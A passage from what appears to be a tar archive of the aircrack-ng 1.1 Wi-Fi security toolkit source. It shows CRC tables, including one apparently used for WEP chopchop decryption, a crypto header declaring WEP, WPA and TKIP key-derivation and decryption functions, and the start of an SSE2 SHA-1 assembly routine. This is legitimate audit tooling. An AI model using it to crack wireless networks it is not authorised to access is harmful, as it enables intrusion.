0x0EDB8832, 0x79DCB8A4, 0xE0D5E91E, 0x97D2D988, 0x09B64C2B, 0x7EB17CBD, 0xE7B82D07, 0x90BF1D91, 0x1DB71064, 0x6AB020F2, 0xF3B97148, 0x84BE41DE, 0x1ADAD47D, 0x6DDDE4EB, 0xF4D4B551, 0x83D385C7, 0x136C9856, 0x646BA8C0, 0xFD62F97A, 0x8A65C9EC, 0x14015C4F, 0x63066CD9, 0xFA0F3D63, 0x8D080DF5, 0x3B6E20C8, 0x4C69105E, 0xD56041E4, 0xA2677172, 0x3C03E4D1, 0x4B04D447, 0xD20D85FD, 0xA50AB56B, 0x35B5A8FA, 0x42B2986C, 0xDBBBC9D6, 0xACBCF940, 0x32D86CE3, 0x45DF5C75, 0xDCD60DCF, 0xABD13D59, 0x26D930AC, 0x51DE003A, 0xC8D75180, 0xBFD06116, 0x21B4F4B5, 0x56B3C423, 0xCFBA9599, 0xB8BDA50F, 0x2802B89E, 0x5F058808, 0xC60CD9B2, 0xB10BE924, 0x2F6F7C87, 0x58684C11, 0xC1611DAB, 0xB6662D3D, 0x76DC4190, 0x01DB7106, 0x98D220BC, 0xEFD5102A, 0x71B18589, 0x06B6B51F, 0x9FBFE4A5, 0xE8B8D433, 0x7807C9A2, 0x0F00F934, 0x9609A88E, 0xE10E9818, 0x7F6A0DBB, 0x086D3D2D, 0x91646C97, 0xE6635C01, 0x6B6B51F4, 0x1C6C6162, 0x856530D8, 0xF262004E, 0x6C0695ED, 0x1B01A57B, 0x8208F4C1, 0xF50FC457, 0x65B0D9C6, 0x12B7E950, 0x8BBEB8EA, 0xFCB9887C, 0x62DD1DDF, 0x15DA2D49, 0x8CD37CF3, 0xFBD44C65, 0x4DB26158, 0x3AB551CE, 0xA3BC0074, 0xD4BB30E2, 0x4ADFA541, 0x3DD895D7, 0xA4D1C46D, 0xD3D6F4FB, 0x4369E96A, 0x346ED9FC, 0xAD678846, 0xDA60B8D0, 0x44042D73, 0x33031DE5, 0xAA0A4C5F, 0xDD0D7CC9, 0x5005713C, 0x270241AA, 0xBE0B1010, 0xC90C2086, 0x5768B525, 0x206F85B3, 0xB966D409, 0xCE61E49F, 0x5EDEF90E, 0x29D9C998, 0xB0D09822, 0xC7D7A8B4, 0x59B33D17, 0x2EB40D81, 0xB7BD5C3B, 0xC0BA6CAD, 0xEDB88320, 0x9ABFB3B6, 0x03B6E20C, 0x74B1D29A, 0xEAD54739, 0x9DD277AF, 0x04DB2615, 0x73DC1683, 0xE3630B12, 0x94643B84, 0x0D6D6A3E, 0x7A6A5AA8, 0xE40ECF0B, 0x9309FF9D, 0x0A00AE27, 0x7D079EB1, 0xF00F9344, 0x8708A3D2, 0x1E01F268, 0x6906C2FE, 0xF762575D, 0x806567CB, 0x196C3671, 0x6E6B06E7, 0xFED41B76, 0x89D32BE0, 0x10DA7A5A, 0x67DD4ACC, 0xF9B9DF6F, 0x8EBEEFF9, 0x17B7BE43, 0x60B08ED5, 0xD6D6A3E8, 0xA1D1937E, 0x38D8C2C4, 0x4FDFF252, 0xD1BB67F1, 0xA6BC5767, 0x3FB506DD, 0x48B2364B, 0xD80D2BDA, 0xAF0A1B4C, 0x36034AF6, 0x41047A60, 0xDF60EFC3, 0xA867DF55, 0x316E8EEF, 0x4669BE79, 0xCB61B38C, 0xBC66831A, 0x256FD2A0, 0x5268E236, 0xCC0C7795, 0xBB0B4703, 0x220216B9, 0x5505262F, 0xC5BA3BBE, 0xB2BD0B28, 0x2BB45A92, 0x5CB36A04, 0xC2D7FFA7, 0xB5D0CF31, 0x2CD99E8B, 0x5BDEAE1D, 0x9B64C2B0, 0xEC63F226, 0x756AA39C, 0x026D930A, 0x9C0906A9, 0xEB0E363F, 0x72076785, 0x05005713, 0x95BF4A82, 0xE2B87A14, 0x7BB12BAE, 0x0CB61B38, 0x92D28E9B, 0xE5D5BE0D, 0x7CDCEFB7, 0x0BDBDF21, 0x86D3D2D4, 0xF1D4E242, 0x68DDB3F8, 0x1FDA836E, 0x81BE16CD, 0xF6B9265B, 0x6FB077E1, 0x18B74777, 0x88085AE6, 0xFF0F6A70, 0x66063BCA, 0x11010B5C, 0x8F659EFF, 0xF862AE69, 0x616BFFD3, 0x166CCF45, 0xA00AE278, 0xD70DD2EE, 0x4E048354, 0x3903B3C2, 0xA7672661, 0xD06016F7, 0x4969474D, 0x3E6E77DB, 0xAED16A4A, 0xD9D65ADC, 0x40DF0B66, 0x37D83BF0, 0xA9BCAE53, 0xDEBB9EC5, 0x47B2CF7F, 0x30B5FFE9, 0xBDBDF21C, 0xCABAC28A, 0x53B39330, 0x24B4A3A6, 0xBAD03605, 0xCDD70693, 0x54DE5729, 0x23D967BF, 0xB3667A2E, 0xC4614AB8, 0x5D681B02, 0x2A6F2B94, 0xB40BBE37, 0xC30C8EA1, 0x5A05DF1B, 0x2D02EF8D }; const unsigned char crc_chop_tbl[256][4] = { { 0x26,0x70,0x6A,0x0F }, { 0x67,0x76,0x1B,0xD4 }, { 0xE5,0x7A,0xF9,0x62 }, { 0xA4,0x7C,0x88,0xB9 }, { 0xA0,0x65,0x4C,0xD4 }, { 0xE1,0x63,0x3D,0x0F }, { 0x63,0x6F,0xDF,0xB9 }, { 0x22,0x69,0xAE,0x62 }, { 0x6B,0x5D,0x57,0x62 }, { 0x2A,0x5B,0x26,0xB9 }, { 0xA8,0x57,0xC4,0x0F }, { 0xE9,0x51,0xB5,0xD4 }, { 0xED,0x48,0x71,0xB9 }, { 0xAC,0x4E,0x00,0x62 }, { 0x2E,0x42,0xE2,0xD4 }, { 0x6F,0x44,0x93,0x0F }, { 0xBC,0x2A,0x10,0xD5 }, { 0xFD,0x2C,0x61,0x0E }, { 0x7F,0x20,0x83,0xB8 }, { 0x3E,0x26,0xF2,0x63 }, { 0x3A,0x3F,0x36,0x0E }, { 0x7B,0x39,0x47,0xD5 }, { 0xF9,0x35,0xA5,0x63 }, { 0xB8,0x33,0xD4,0xB8 }, { 0xF1,0x07,0x2D,0xB8 }, { 0xB0,0x01,0x5C,0x63 }, { 0x32,0x0D,0xBE,0xD5 }, { 0x73,0x0B,0xCF,0x0E }, { 0x77,0x12,0x0B,0x63 }, { 0x36,0x14,0x7A,0xB8 }, { 0xB4,0x18,0x98,0x0E }, { 0xF5,0x1E,0xE9,0xD5 }, { 0x53,0xC3,0xEF,0x60 }, { 0x12,0xC5,0x9E,0xBB }, { 0x90,0xC9,0x7C,0x0D }, { 0xD1,0xCF,0x0D,0xD6 }, { 0xD5,0xD6,0xC9,0xBB }, { 0x94,0xD0,0xB8,0x60 }, { 0x16,0xDC,0x5A,0xD6 }, { 0x57,0xDA,0x2B,0x0D }, { 0x1E,0xEE,0xD2,0x0D }, { 0x5F,0xE8,0xA3,0xD6 }, { 0xDD,0xE4,0x41,0x60 }, { 0x9C,0xE2,0x30,0xBB }, { 0x98,0xFB,0xF4,0xD6 }, { 0xD9,0xFD,0x85,0x0D }, { 0x5B,0xF1,0x67,0xBB }, { 0x1A,0xF7,0x16,0x60 }, { 0xC9,0x99,0x95,0xBA }, { 0x88,0x9F,0xE4,0x61 }, { 0x0A,0x93,0x06,0xD7 }, { 0x4B,0x95,0x77,0x0C }, { 0x4F,0x8C,0xB3,0x61 }, { 0x0E,0x8A,0xC2,0xBA }, { 0x8C,0x86,0x20,0x0C }, { 0xCD,0x80,0x51,0xD7 }, { 0x84,0xB4,0xA8,0xD7 }, { 0xC5,0xB2,0xD9,0x0C }, { 0x47,0xBE,0x3B,0xBA }, { 0x06,0xB8,0x4A,0x61 }, { 0x02,0xA1,0x8E,0x0C }, { 0x43,0xA7,0xFF,0xD7 }, { 0xC1,0xAB,0x1D,0x61 }, { 0x80,0xAD,0x6C,0xBA }, { 0xCC,0x16,0x61,0xD0 }, { 0x8D,0x10,0x10,0x0B }, { 0x0F,0x1C,0xF2,0xBD }, { 0x4E,0x1A,0x83,0x66 }, { 0x4A,0x03,0x47,0x0B }, { 0x0B,0x05,0x36,0xD0 }, { 0x89,0x09,0xD4,0x66 }, { 0xC8,0x0F,0xA5,0xBD }, { 0x81,0x3B,0x5C,0xBD }, { 0xC0,0x3D,0x2D,0x66 }, { 0x42,0x31,0xCF,0xD0 }, { 0x03,0x37,0xBE,0x0B }, { 0x07,0x2E,0x7A,0x66 }, { 0x46,0x28,0x0B,0xBD }, { 0xC4,0x24,0xE9,0x0B }, { 0x85,0x22,0x98,0xD0 }, { 0x56,0x4C,0x1B,0x0A }, { 0x17,0x4A,0x6A,0xD1 }, { 0x95,0x46,0x88,0x67 }, { 0xD4,0x40,0xF9,0xBC }, { 0xD0,0x59,0x3D,0xD1 }, { 0x91,0x5F,0x4C,0x0A }, { 0x13,0x53,0xAE,0xBC }, { 0x52,0x55,0xDF,0x67 }, { 0x1B,0x61,0x26,0x67 }, { 0x5A,0x67,0x57,0xBC }, { 0xD8,0x6B,0xB5,0x0A }, { 0x99,0x6D,0xC4,0xD1 }, { 0x9D,0x74,0x00,0xBC }, { 0xDC,0x72,0x71,0x67 }, { 0x5E,0x7E,0x93,0xD1 }, { 0x1F,0x78,0xE2,0x0A }, { 0xB9,0xA5,0xE4,0xBF }, { 0xF8,0xA3,0x95,0x64 }, { 0x7A,0xAF,0x77,0xD2 }, { 0x3B,0xA9,0x06,0x09 }, { 0x3F,0xB0,0xC2,0x64 }, { 0x7E,0xB6,0xB3,0xBF }, { 0xFC,0xBA,0x51,0x09 }, { 0xBD,0xBC,0x20,0xD2 }, { 0xF4,0x88,0xD9,0xD2 }, { 0xB5,0x8E,0xA8,0x09 }, { 0x37,0x82,0x4A,0xBF }, { 0x76,0x84,0x3B,0x64 }, { 0x72,0x9D,0xFF,0x09 }, { 0x33,0x9B,0x8E,0xD2 }, { 0xB1,0x97,0x6C,0x64 }, { 0xF0,0x91,0x1D,0xBF }, { 0x23,0xFF,0x9E,0x65 }, { 0x62,0xF9,0xEF,0xBE }, { 0xE0,0xF5,0x0D,0x08 }, { 0xA1,0xF3,0x7C,0xD3 }, { 0xA5,0xEA,0xB8,0xBE }, { 0xE4,0xEC,0xC9,0x65 }, { 0x66,0xE0,0x2B,0xD3 }, { 0x27,0xE6,0x5A,0x08 }, { 0x6E,0xD2,0xA3,0x08 }, { 0x2F,0xD4,0xD2,0xD3 }, { 0xAD,0xD8,0x30,0x65 }, { 0xEC,0xDE,0x41,0xBE }, { 0xE8,0xC7,0x85,0xD3 }, { 0xA9,0xC1,0xF4,0x08 }, { 0x2B,0xCD,0x16,0xBE }, { 0x6A,0xCB,0x67,0x65 }, { 0xB3,0xBB,0x0D,0x6A }, { 0xF2,0xBD,0x7C,0xB1 }, { 0x70,0xB1,0x9E,0x07 }, { 0x31,0xB7,0xEF,0xDC }, { 0x35,0xAE,0x2B,0xB1 }, { 0x74,0xA8,0x5A,0x6A }, { 0xF6,0xA4,0xB8,0xDC }, { 0xB7,0xA2,0xC9,0x07 }, { 0xFE,0x96,0x30,0x07 }, { 0xBF,0x90,0x41,0xDC }, { 0x3D,0x9C,0xA3,0x6A }, { 0x7C,0x9A,0xD2,0xB1 }, { 0x78,0x83,0x16,0xDC }, { 0x39,0x85,0x67,0x07 }, { 0xBB,0x89,0x85,0xB1 }, { 0xFA,0x8F,0xF4,0x6A }, { 0x29,0xE1,0x77,0xB0 }, { 0x68,0xE7,0x06,0x6B }, { 0xEA,0xEB,0xE4,0xDD }, { 0xAB,0xED,0x95,0x06 }, { 0xAF,0xF4,0x51,0x6B }, { 0xEE,0xF2,0x20,0xB0 }, { 0x6C,0xFE,0xC2,0x06 }, { 0x2D,0xF8,0xB3,0xDD }, { 0x64,0xCC,0x4A,0xDD }, { 0x25,0xCA,0x3B,0x06 }, { 0xA7,0xC6,0xD9,0xB0 }, { 0xE6,0xC0,0xA8,0x6B }, { 0xE2,0xD9,0x6C,0x06 }, { 0xA3,0xDF,0x1D,0xDD }, { 0x21,0xD3,0xFF,0x6B }, { 0x60,0xD5,0x8E,0xB0 }, { 0xC6,0x08,0x88,0x05 }, { 0x87,0x0E,0xF9,0xDE }, { 0x05,0x02,0x1B,0x68 }, { 0x44,0x04,0x6A,0xB3 }, { 0x40,0x1D,0xAE,0xDE }, { 0x01,0x1B,0xDF,0x05 }, { 0x83,0x17,0x3D,0xB3 }, { 0xC2,0x11,0x4C,0x68 }, { 0x8B,0x25,0xB5,0x68 }, { 0xCA,0x23,0xC4,0xB3 }, { 0x48,0x2F,0x26,0x05 }, { 0x09,0x29,0x57,0xDE }, { 0x0D,0x30,0x93,0xB3 }, { 0x4C,0x36,0xE2,0x68 }, { 0xCE,0x3A,0x00,0xDE }, { 0x8F,0x3C,0x71,0x05 }, { 0x5C,0x52,0xF2,0xDF }, { 0x1D,0x54,0x83,0x04 }, { 0x9F,0x58,0x61,0xB2 }, { 0xDE,0x5E,0x10,0x69 }, { 0xDA,0x47,0xD4,0x04 }, { 0x9B,0x41,0xA5,0xDF }, { 0x19,0x4D,0x47,0x69 }, { 0x58,0x4B,0x36,0xB2 }, { 0x11,0x7F,0xCF,0xB2 }, { 0x50,0x79,0xBE,0x69 }, { 0xD2,0x75,0x5C,0xDF }, { 0x93,0x73,0x2D,0x04 }, { 0x97,0x6A,0xE9,0x69 }, { 0xD6,0x6C,0x98,0xB2 }, { 0x54,0x60,0x7A,0x04 }, { 0x15,0x66,0x0B,0xDF }, { 0x59,0xDD,0x06,0xB5 }, { 0x18,0xDB,0x77,0x6E }, { 0x9A,0xD7,0x95,0xD8 }, { 0xDB,0xD1,0xE4,0x03 }, { 0xDF,0xC8,0x20,0x6E }, { 0x9E,0xCE,0x51,0xB5 }, { 0x1C,0xC2,0xB3,0x03 }, { 0x5D,0xC4,0xC2,0xD8 }, { 0x14,0xF0,0x3B,0xD8 }, { 0x55,0xF6,0x4A,0x03 }, { 0xD7,0xFA,0xA8,0xB5 }, { 0x96,0xFC,0xD9,0x6E }, { 0x92,0xE5,0x1D,0x03 }, { 0xD3,0xE3,0x6C,0xD8 }, { 0x51,0xEF,0x8E,0x6E }, { 0x10,0xE9,0xFF,0xB5 }, { 0xC3,0x87,0x7C,0x6F }, { 0x82,0x81,0x0D,0xB4 }, { 0x00,0x8D,0xEF,0x02 }, { 0x41,0x8B,0x9E,0xD9 }, { 0x45,0x92,0x5A,0xB4 }, { 0x04,0x94,0x2B,0x6F }, { 0x86,0x98,0xC9,0xD9 }, { 0xC7,0x9E,0xB8,0x02 }, { 0x8E,0xAA,0x41,0x02 }, { 0xCF,0xAC,0x30,0xD9 }, { 0x4D,0xA0,0xD2,0x6F }, { 0x0C,0xA6,0xA3,0xB4 }, { 0x08,0xBF,0x67,0xD9 }, { 0x49,0xB9,0x16,0x02 }, { 0xCB,0xB5,0xF4,0xB4 }, { 0x8A,0xB3,0x85,0x6F }, { 0x2C,0x6E,0x83,0xDA }, { 0x6D,0x68,0xF2,0x01 }, { 0xEF,0x64,0x10,0xB7 }, { 0xAE,0x62,0x61,0x6C }, { 0xAA,0x7B,0xA5,0x01 }, { 0xEB,0x7D,0xD4,0xDA }, { 0x69,0x71,0x36,0x6C }, { 0x28,0x77,0x47,0xB7 }, { 0x61,0x43,0xBE,0xB7 }, { 0x20,0x45,0xCF,0x6C }, { 0xA2,0x49,0x2D,0xDA }, { 0xE3,0x4F,0x5C,0x01 }, { 0xE7,0x56,0x98,0x6C }, { 0xA6,0x50,0xE9,0xB7 }, { 0x24,0x5C,0x0B,0x01 }, { 0x65,0x5A,0x7A,0xDA }, { 0xB6,0x34,0xF9,0x00 }, { 0xF7,0x32,0x88,0xDB }, { 0x75,0x3E,0x6A,0x6D }, { 0x34,0x38,0x1B,0xB6 }, { 0x30,0x21,0xDF,0xDB }, { 0x71,0x27,0xAE,0x00 }, { 0xF3,0x2B,0x4C,0xB6 }, { 0xB2,0x2D,0x3D,0x6D }, { 0xFB,0x19,0xC4,0x6D }, { 0xBA,0x1F,0xB5,0xB6 }, { 0x38,0x13,0x57,0x00 }, { 0x79,0x15,0x26,0xDB }, { 0x7D,0x0C,0xE2,0xB6 }, { 0x3C,0x0A,0x93,0x6D }, { 0xBE,0x06,0x71,0xDB }, { 0xFF,0x00,0x00,0x00 } }; #endif /* crctable.h */ aircrack-ng-1.1/src/crypto.h0000644000000000000000000002273011152746402014520 0ustar rootroot#ifndef _CRYPTO_H #define _CRYPTO_H #ifndef uint8 #define uint8 unsigned char #endif #ifndef uint32 #define uint32 unsigned long int #endif #include #include // We don't use EVP. Bite me #include #include #define S_LLC_SNAP "\xAA\xAA\x03\x00\x00\x00" #define S_LLC_SNAP_ARP (S_LLC_SNAP "\x08\x06") #define S_LLC_SNAP_IP (S_LLC_SNAP "\x08\x00") #define S_LLC_SNAP_SPANTREE "\x42\x42\x03\x00\x00\x00\x00\x00" #define S_LLC_SNAP_CDP "\xAA\xAA\x03\x00\x00\x0C\x20" #define IEEE80211_FC1_DIR_FROMDS 0x02 /* AP ->STA */ #define TYPE_ARP 0 #define TYPE_IP 1 #define NULL_MAC (uchar*)"\x00\x00\x00\x00\x00\x00" #define BROADCAST (uchar*)"\xFF\xFF\xFF\xFF\xFF\xFF" #define SPANTREE (uchar*)"\x01\x80\xC2\x00\x00\x00" #define CDP_VTP (uchar*)"\x01\x00\x0C\xCC\xCC\xCC" #define IEEE80211_FC0_SUBTYPE_MASK 0xf0 #define IEEE80211_FC0_SUBTYPE_SHIFT 4 /* for TYPE_DATA (bit combination) */ #define IEEE80211_FC0_SUBTYPE_QOS 0x80 #define IEEE80211_FC0_SUBTYPE_QOS_NULL 0xc0 #define GET_SUBTYPE(fc) \ ( ( (fc) & IEEE80211_FC0_SUBTYPE_MASK ) >> IEEE80211_FC0_SUBTYPE_SHIFT ) \ << IEEE80211_FC0_SUBTYPE_SHIFT #define uchar unsigned char #define ROL32( A, n ) \ ( ((A) << (n)) | ( ((A)>>(32-(n))) & ( (1UL << (n)) - 1 ) ) ) #define ROR32( A, n ) ROL32( (A), 32-(n) ) struct WPA_ST_info { struct WPA_ST_info *next; /* next supplicant */ uchar stmac[6]; /* supplicant MAC */ uchar bssid[6]; /* authenticator MAC */ uchar snonce[32]; /* supplicant nonce */ uchar anonce[32]; /* authenticator nonce */ uchar keymic[20]; /* eapol frame MIC */ uchar eapol[256]; /* eapol frame contents */ uchar ptk[80]; /* pairwise transcient key */ int eapol_size; /* eapol frame size */ unsigned long t_crc; /* last ToDS frame CRC */ unsigned long f_crc; /* last FromDS frame CRC */ int keyver, valid_ptk; }; struct Michael { unsigned long key0; unsigned long key1; unsigned long left; unsigned long right; unsigned long nBytesInM; unsigned long message; unsigned char mic[8]; }; // typedef unsigned char byte; /* 8-bit byte (octet) */ // typedef unsigned short u16b; /* 16-bit unsigned word */ // typedef unsigned long u32b; /* 32-bit unsigned word */ // /* macros for extraction/creation of byte/u16b values */ // #define RotR1(v16) ((((v16) >> 1) & 0x7FFF) ^ (((v16) & 1) << 15)) // #define Lo8(v16) ((byte)( (v16) & 0x00FF)) // #define Hi8(v16) ((byte)(((v16) >> 8) & 0x00FF)) // #define Lo16(v32) ((u16b)( (v32) & 0xFFFF)) // #define Hi16(v32) ((u16b)(((v32) >>16) & 0xFFFF)) // #define Mk16(hi,lo) ((lo) ^ (((u16b)(hi)) << 8)) // /* select the Nth 16-bit word of the Temporal Key byte array TK[] */ // #define TK16(N) Mk16(TK[2*(N)+1],TK[2*(N)]) // /* S-box lookup: 16 bits --> 16 bits */ // #define _S_(v16) (Sbox[0][Lo8(v16)] ^ Sbox[1][Hi8(v16)]) // /* fixed algorithm "parameters" */ // #define PHASE1_LOOP_CNT 8 /* this needs to be "big enough" */ // #define TA_SIZE 6 /* 48-bit transmitter address */ // #define TK_SIZE 16 /* 128-bit Temporal Key */ // #define P1K_SIZE 10 /* 80-bit Phase1 key */ // #define RC4_KEY_SIZE 16 /* 128-bit RC4KEY (104 bits unknown) */ /* 2-byte by 2-byte subset of the full AES S-box table */ // const u16b TkipSbox[2][256]= /* Sbox for hash (can be in ROM) */ // {{ // 0xC6A5,0xF884,0xEE99,0xF68D,0xFF0D,0xD6BD,0xDEB1,0x9154, // 0x6050,0x0203,0xCEA9,0x567D,0xE719,0xB562,0x4DE6,0xEC9A, // 0x8F45,0x1F9D,0x8940,0xFA87,0xEF15,0xB2EB,0x8EC9,0xFB0B, // 0x41EC,0xB367,0x5FFD,0x45EA,0x23BF,0x53F7,0xE496,0x9B5B, // 0x75C2,0xE11C,0x3DAE,0x4C6A,0x6C5A,0x7E41,0xF502,0x834F, // 0x685C,0x51F4,0xD134,0xF908,0xE293,0xAB73,0x6253,0x2A3F, // 0x080C,0x9552,0x4665,0x9D5E,0x3028,0x37A1,0x0A0F,0x2FB5, // 0x0E09,0x2436,0x1B9B,0xDF3D,0xCD26,0x4E69,0x7FCD,0xEA9F, // 0x121B,0x1D9E,0x5874,0x342E,0x362D,0xDCB2,0xB4EE,0x5BFB, // 0xA4F6,0x764D,0xB761,0x7DCE,0x527B,0xDD3E,0x5E71,0x1397, // 0xA6F5,0xB968,0x0000,0xC12C,0x4060,0xE31F,0x79C8,0xB6ED, // 0xD4BE,0x8D46,0x67D9,0x724B,0x94DE,0x98D4,0xB0E8,0x854A, // 0xBB6B,0xC52A,0x4FE5,0xED16,0x86C5,0x9AD7,0x6655,0x1194, // 0x8ACF,0xE910,0x0406,0xFE81,0xA0F0,0x7844,0x25BA,0x4BE3, // 0xA2F3,0x5DFE,0x80C0,0x058A,0x3FAD,0x21BC,0x7048,0xF104, // 0x63DF,0x77C1,0xAF75,0x4263,0x2030,0xE51A,0xFD0E,0xBF6D, // 0x814C,0x1814,0x2635,0xC32F,0xBEE1,0x35A2,0x88CC,0x2E39, // 0x9357,0x55F2,0xFC82,0x7A47,0xC8AC,0xBAE7,0x322B,0xE695, // 0xC0A0,0x1998,0x9ED1,0xA37F,0x4466,0x547E,0x3BAB,0x0B83, // 0x8CCA,0xC729,0x6BD3,0x283C,0xA779,0xBCE2,0x161D,0xAD76, // 0xDB3B,0x6456,0x744E,0x141E,0x92DB,0x0C0A,0x486C,0xB8E4, // 0x9F5D,0xBD6E,0x43EF,0xC4A6,0x39A8,0x31A4,0xD337,0xF28B, // 0xD532,0x8B43,0x6E59,0xDAB7,0x018C,0xB164,0x9CD2,0x49E0, // 0xD8B4,0xACFA,0xF307,0xCF25,0xCAAF,0xF48E,0x47E9,0x1018, // 0x6FD5,0xF088,0x4A6F,0x5C72,0x3824,0x57F1,0x73C7,0x9751, // 0xCB23,0xA17C,0xE89C,0x3E21,0x96DD,0x61DC,0x0D86,0x0F85, // 0xE090,0x7C42,0x71C4,0xCCAA,0x90D8,0x0605,0xF701,0x1C12, // 0xC2A3,0x6A5F,0xAEF9,0x69D0,0x1791,0x9958,0x3A27,0x27B9, // 0xD938,0xEB13,0x2BB3,0x2233,0xD2BB,0xA970,0x0789,0x33A7, // 0x2DB6,0x3C22,0x1592,0xC920,0x8749,0xAAFF,0x5078,0xA57A, // 0x038F,0x59F8,0x0980,0x1A17,0x65DA,0xD731,0x84C6,0xD0B8, // 0x82C3,0x29B0,0x5A77,0x1E11,0x7BCB,0xA8FC,0x6DD6,0x2C3A, // }, // { /* second half of table is byte-reversed version of first! */ // 0xA5C6,0x84F8,0x99EE,0x8DF6,0x0DFF,0xBDD6,0xB1DE,0x5491, // 0x5060,0x0302,0xA9CE,0x7D56,0x19E7,0x62B5,0xE64D,0x9AEC, // 0x458F,0x9D1F,0x4089,0x87FA,0x15EF,0xEBB2,0xC98E,0x0BFB, // 0xEC41,0x67B3,0xFD5F,0xEA45,0xBF23,0xF753,0x96E4,0x5B9B, // 0xC275,0x1CE1,0xAE3D,0x6A4C,0x5A6C,0x417E,0x02F5,0x4F83, // 0x5C68,0xF451,0x34D1,0x08F9,0x93E2,0x73AB,0x5362,0x3F2A, // 0x0C08,0x5295,0x6546,0x5E9D,0x2830,0xA137,0x0F0A,0xB52F, // 0x090E,0x3624,0x9B1B,0x3DDF,0x26CD,0x694E,0xCD7F,0x9FEA, // 0x1B12,0x9E1D,0x7458,0x2E34,0x2D36,0xB2DC,0xEEB4,0xFB5B, // 0xF6A4,0x4D76,0x61B7,0xCE7D,0x7B52,0x3EDD,0x715E,0x9713, // 0xF5A6,0x68B9,0x0000,0x2CC1,0x6040,0x1FE3,0xC879,0xEDB6, // 0xBED4,0x468D,0xD967,0x4B72,0xDE94,0xD498,0xE8B0,0x4A85, // 0x6BBB,0x2AC5,0xE54F,0x16ED,0xC586,0xD79A,0x5566,0x9411, // 0xCF8A,0x10E9,0x0604,0x81FE,0xF0A0,0x4478,0xBA25,0xE34B, // 0xF3A2,0xFE5D,0xC080,0x8A05,0xAD3F,0xBC21,0x4870,0x04F1, // 0xDF63,0xC177,0x75AF,0x6342,0x3020,0x1AE5,0x0EFD,0x6DBF, // 0x4C81,0x1418,0x3526,0x2FC3,0xE1BE,0xA235,0xCC88,0x392E, // 0x5793,0xF255,0x82FC,0x477A,0xACC8,0xE7BA,0x2B32,0x95E6, // 0xA0C0,0x9819,0xD19E,0x7FA3,0x6644,0x7E54,0xAB3B,0x830B, // 0xCA8C,0x29C7,0xD36B,0x3C28,0x79A7,0xE2BC,0x1D16,0x76AD, // 0x3BDB,0x5664,0x4E74,0x1E14,0xDB92,0x0A0C,0x6C48,0xE4B8, // 0x5D9F,0x6EBD,0xEF43,0xA6C4,0xA839,0xA431,0x37D3,0x8BF2, // 0x32D5,0x438B,0x596E,0xB7DA,0x8C01,0x64B1,0xD29C,0xE049, // 0xB4D8,0xFAAC,0x07F3,0x25CF,0xAFCA,0x8EF4,0xE947,0x1810, // 0xD56F,0x88F0,0x6F4A,0x725C,0x2438,0xF157,0xC773,0x5197, // 0x23CB,0x7CA1,0x9CE8,0x213E,0xDD96,0xDC61,0x860D,0x850F, // 0x90E0,0x427C,0xC471,0xAACC,0xD890,0x0506,0x01F7,0x121C, // 0xA3C2,0x5F6A,0xF9AE,0xD069,0x9117,0x5899,0x273A,0xB927, // 0x38D9,0x13EB,0xB32B,0x3322,0xBBD2,0x70A9,0x8907,0xA733, // 0xB62D,0x223C,0x9215,0x20C9,0x4987,0xFFAA,0x7850,0x7AA5, // 0x8F03,0xF859,0x8009,0x171A,0xDA65,0x31D7,0xC684,0xB8D0, // 0xC382,0xB029,0x775A,0x111E,0xCB7B,0xFCA8,0xD66D,0x3A2C, // } // }; /* Used for own RC4 implementation */ struct rc4_state { int x, y, m[256]; }; struct AP_info; void calc_pmk( char *key, char *essid, unsigned char pmk[40] ); int decrypt_wep( unsigned char *data, int len, unsigned char *key, int keylen ); int encrypt_wep( unsigned char *data, int len, unsigned char *key, int keylen ); int check_crc_buf( unsigned char *buf, int len ); int calc_crc_buf( unsigned char *buf, int len ); void calc_mic(struct AP_info *ap, unsigned char *pmk, unsigned char *ptk, unsigned char *mic); int known_clear(void *clear, int *clen, int *weight, unsigned char *wh, int len); int add_crc32(unsigned char* data, int length); int add_crc32_plain(unsigned char* data, int length); int is_ipv6(void *wh); int is_dhcp_discover(void *wh, int len); int is_qos_arp_tkip(void *wh, int len); int calc_tkip_ppk( unsigned char *h80211, int caplen, unsigned char TK1[16], unsigned char key[16] ); int decrypt_tkip( unsigned char *h80211, int caplen, unsigned char TK1[16] ); int decrypt_ccmp( unsigned char *h80211, int caplen, unsigned char TK1[16] ); int calc_ptk( struct WPA_ST_info *wpa, uchar pmk[32] ); int calc_tkip_mic(uchar* packet, int length, uchar ptk[80], uchar value[8]); int michael_test(uchar key[8], uchar *message, int length, uchar out[8]); int calc_tkip_mic_key(uchar* packet, int length, uchar key[8]); #endif /* crypto.h */ aircrack-ng-1.1/src/sha1-sse2.S0000644000000000000000000003550211326174350014662 0ustar rootroot // SHA-1 SSE2 implementation, (C) 2008 Alvaro Salmador (naplam33@msn.com), ported from Simon Marechal's SHA-1 MMX // SHA-1 MMX implementation, (C) 2005 Simon Marechal (simon@banquise.net) // This code computes two (with sse now four) SHA-1 digests at the same time. It // doesn't take care of padding (0x80 and size << 3), so make // sure the last input block is properly padded. Both 64-byte // input blocks must be (four bytes) interleaved. #if defined(__x86_64__) && defined(__APPLE__) #define MANGLE(x) x(%rip) #else #define MANGLE(x) x #endif #if defined(__i386__) || defined(__x86_64__) .globl shasse2_init; .globl shasse2_ends; .globl shasse2_data; .globl shasse2_cpuid; .globl _shasse2_init; .globl _shasse2_ends; .globl _shasse2_data; .globl _shasse2_cpuid; .data #ifdef __APPLE__ .align(12) #else .align(16) #endif const_init_a: .long 0x67452301 .long 0x67452301 .long 0x67452301 .long 0x67452301 const_init_b: .long 0xEFCDAB89 .long 0xEFCDAB89 .long 0xEFCDAB89 .long 0xEFCDAB89 const_init_c: .long 0x98BADCFE .long 0x98BADCFE .long 0x98BADCFE .long 0x98BADCFE const_init_d: .long 0x10325476 .long 0x10325476 .long 0x10325476 .long 0x10325476 const_init_e: .long 0xC3D2E1F0 .long 0xC3D2E1F0 .long 0xC3D2E1F0 .long 0xC3D2E1F0 const_stage0: .long 0x5A827999 .long 0x5A827999 .long 0x5A827999 .long 0x5A827999 const_stage1: .long 0x6ED9EBA1 .long 0x6ED9EBA1 .long 0x6ED9EBA1 .long 0x6ED9EBA1 const_stage2: .long 0x8F1BBCDC .long 0x8F1BBCDC .long 0x8F1BBCDC .long 0x8F1BBCDC const_stage3: .long 0xCA62C1D6 .long 0xCA62C1D6 .long 0xCA62C1D6 .long 0xCA62C1D6 const_ff00: .long 0xFF00FF00 .long 0xFF00FF00 .long 0xFF00FF00 .long 0xFF00FF00 const_00ff: .long 0x00FF00FF .long 0x00FF00FF .long 0x00FF00FF .long 0x00FF00FF #define ctxa %xmm0 #define ctxb %xmm1 #define ctxc %xmm2 #define ctxd %xmm3 #define ctxe 